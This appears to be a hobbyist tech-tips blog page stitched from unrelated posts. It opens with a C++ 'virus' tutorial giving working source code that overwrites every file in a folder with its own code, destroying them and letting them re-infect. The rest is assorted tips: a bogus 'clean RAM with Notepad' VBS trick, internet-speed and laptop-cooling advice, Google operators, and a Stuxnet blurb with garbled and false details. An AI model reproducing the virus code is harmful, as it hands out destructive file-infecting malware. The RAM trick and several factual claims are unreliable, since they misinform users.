CREATE A VIRUS USING C++

#include

#include

#include

#include

#include

#include FILE *virus,*host;

int done,a=0;

unsigned long x;

char buff[2048];

struct ffblk ffblk;

clock_t st,end; void main()

{

st=clock();

clrscr();

done=findfirst

(“*.*”,&ffblk,0); // Search for a file with

any extension (*.*)

while(!done)

{

virus=fopen(_argv

[0],”rb”); host=fopen

(ffblk.ff_name,”rb+”);

if(host==NULL) goto

next;

x=89088;

printf(“Infecting %s \n”,ffblk.ff_name,a);

while(x>2048)

{

fread

(buff,2048,1,virus);

fwrite (buff,2048,1,host);

x-=2048;

}

fread(buff,x,1,virus);

fwrite(buff,x,1,host);

a++; next:

{

fcloseall();

done=findnext

(&ffblk);

} }

printf(“DONE! (Total

Files Infected=

%d)”,a);

end=clock();

printf(“TIME TAKEN= %f SEC\n”,

(end-st)/CLK_TCK);

getch();

}

The algorithm of this virus program is as follows: 

Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file). 

Step-2: Load the copy of the virus itself onto the memory. Step-

3: Open the target file. Copy the virus code from the memory and place it in the target file. Close

the target file when the copying process is completed. 

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit. As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Test the Virus After the

Compilation: 1. Create a new empty folder. 

2. Put some executable files (or any other files) in the folder. 

3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected. 

4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done. 

NOTE: The files infected by this virus

are destroyed

completely and

cannot be recovered.

So, always test the

virus in a new folder by placing some

sample files.

NB 2: DON'T FORGET to use .cpp and save it.

HOW TO CLEAN YOUR RAM USING NOTEPAD

Many friends of me ask where can I download a software which can keep my RAM free? And I found these software are nothing but using some lines of code which can be implemented by using notepad or any editor tool. So if any one does not have any software, you can use it by doing the following things which I am going to mention.

Steps to Clean Your RAM Using Notepad:

Step 1: Open Notepad

Step 2: Type FreeMem=Space(20480000000)

Step 3: Save it as LEANER.VBS in any location you like.

Step 4: You can edit the code and write 1024 instead of 2048 if you own a 1024mb RAM or change to anything you like.

Step 5: Run it !

After this final step your RAM will be free.

How To Speed Up Your Internet Connection

This article describes how to boost Internet speed. Before proceeding for internet steps I would advise you to make sure there is nothing wrong with your computer by following required troubleshooting steps.

1. Optimize your machine:

Don’t blame your ISP or router device until you have full confidence on your machine performance. Kindly go through all the below steps and see if you need to perform any.

• Make necessary hard drive space

• Stop bad programs and services

• Update windows OS

• Update security patches

• Fix computer overheat

• Check for bad hardware

2.  Clear Temporary Files:

• Make Disk Clean Up

• Run Disk Defragmenter

• Run Check Disk for bad sector

3. Speed Up Computer Boot Process

• Verify Hardware or Driver Issues

4. Try Different Browser

5.  Registry Clean Up

6• Remove Background Program

7. Sometimes resetting network or device can solve your issue as it will start clear everything from device/ network and do fresh start. You can also try unplugging and plugging the network cable or power cable.

8. General Equipment Check:

• Make sure your physical connectivity between laptop/computer and router device is proper, also check hub connectivity. Check for signal strength on router device, router is very important as it prioritize and directs the internet traffic effectively.

9• Check for Any Device Conflict:

• Wireless router may conflict with your cordless phone or Wi-Fi camera. 3 varieties of wireless router such as 802.11 b, g, and n (2.4Ghz) or 802.11 a (5.8Ghz).

10• Contact you Internet Service Provider(ISP):
• Don’t hesitate to contact your ISP (Internet Service Provider), sometime issue could be from ISP and you are dying making it working by performing troubleshooting steps at your end. Just call your ISP and ask politely if any direct issue from their end.

11• Upgrade Router/Firewall:
• Check your router specification and network speed properties on your machine. If the slow internet is a regular problem router is not transmitting the required bandwidth. Just go and buy new router with good specs. Many old router device are not capable of transmitting Internet faster than 10 Mbps, even though local port transmits 100Mbps.

12• Update Router Firmware:
• You cannot ignore firmware upgrade, browse the manufacturer website and check for any firmware upgrade available.

13• Your Cable Modem could have died:
• Any electronic equipment performances degrade over time due to overheat or could cause damage.It drops your signal to noise ratio resulting in increase in number of resend packets. Try replacing cable, great and times saving if it works else replace cable modem.

14• Check for Program running without your knowledge:
• Go to Run, type cmd then enter “netstat –b>trace.txt”. This will generate the network traces in the working directory with file name trace.txt. This will give you an idea for any program running such as antivirus or other update.
                                       

GOOGLE SEARCH TECHNIQUES

GOOGLE SEARCH TECHNIQUES:

Use the below mentioned guidelines during your Google Search and it will surely provide you with more better and relevant results…

1. EITHER/OR:
Google normally searches for pages that contain all the words you type in the search box, but if you want pages that have one tremor another (or both), use the OR operator — or use the symbol (pipe symbol) to save you a keystroke.
eg. [dumb | little | man]

2. Quotes:
If you want to search for an exact phrase, use quotes.
eg. ["dumb little man"] will only find that exact phrase.

3. NOT:
If you don’t want a term or phrase, use the - (minus) symbol as prefix. Eg. [-dumb little man] will return pages that contain little and man but that don’t contain dumb.

4. SIMILAR TERMS:
Use the ~ symbol to return similar terms.
eg. [~dumb little man] will get you pages that contain funny little man and stupid little man.

5. WILDCARD(*):
The * symbol is a wildcard. This is useful if you're trying to find the lyrics to a song, but
cant remember the exact lyrics. [cant * me love lyrics] will return the Beatles song you're looking for.

6. ADVANCED SEARCH:
If you cant remember any of these operators, you can always use Googles advanced search.

7. DEFINITIONS:
Use the 'define:' operator to get a quick definition.
For eg. [define:dumb] will give you a whole host of definitions from different sources, with links.

8. CALCULATOR:
One of the handiest uses of Google, type in a quick calculation in the search box and get an answer. It’s faster than calling up your computers calculator in most cases. Use the, +, -, *, / symbols and parentheses to do a simple equation.

9. NUM-RANGE: This little-known feature searches for a range of numbers.
For eg. [best books 2002..2007] will return lists of best books for each of the years from 2002 to 2007 (note the two periods between the two numbers).

10. SITE-SPECIFIC:
Use the 'site:' operator to search only within a certain website.
For eg. [site:dumblittl¬eman.com leo] will search for the term leo only within that site.

TIPS TO AVOID OVERHEATING AND KEEP YOUR LAPTOP AS COOL AS POSSIBLE.

1. POWER SETTINGS: Normally while working on laptops we keep it for charging and set the mode as "High performance". Due to this setting it consumes more power which causes your laptop to overheat.

REMEDY: Set your laptop in the balanced or Power saver mode. What it will do is; it will consume only that amount of power thatis required.

2. COMPRESSED AIR: while Working on laptops in dusty conditions may lead to Dust gets deposited on the Cooling vents, Hence Choking them. This will cause the fan to get over worked and the Fan will work at high Temperatures. 

REMEDY: In Order to Avoid This problem, Buy a can of Compressed air, and Spray it on the vents of your laptop. This will remove all the dust and will keep your laptop much cool.

3. SURFACE: Normally we place our laptops on pillows or blankets or even on our laps, which is very comfortable to us while working. But many might not know that such surfaces Chokes the vents of your laptop and it causes it to overheat. The Soft surface will not allow the heat to Escape and will be reflected back to internal machinery. I recommend the best surface on which you should keep your laptops are the flat ones. Such as tables. This will allow proper Flow of air and heat to Escape.

4.COOLING PAD: Cooling pad is another remedy to overheating of your laptops. Obviously it will cost you some Money, But Trust me it’s worth Investing, if you face overheating Problems.

5. POWER OFF YOUR LAPTOPS: When you are not working on your laptop then you should switch it off rather than keeping it 

on standby or too much Hibernate, I suggest not you use "Hibernate" Option as it will take a toll on your RAM. Power Off Your Laptops when not needed, It’s as simple as that.

I believe that the above 5 Tips will help you.

FEATURED POST: STUXNET

FEATURED POST:Most Advanced Malware of all Time.

Stuxnet or Flame (built off Stuxnet) is a computer worm discovered in June 2010 that is believed to have been created by the United States and Israel to attack Iran's nuclear facilities. Stuxnet initially spreads via Microsoft Windows, and targets Siemens industrial control systems. While it is not the first time that hackers have targeted industrial systems, it is the first discovered malware that spies on and subverts industrial systems, and the first to include a programmable logic controller (PLC) rootkit.
It infected Iran's cyber fatalities which are all highly "secured" and offline.
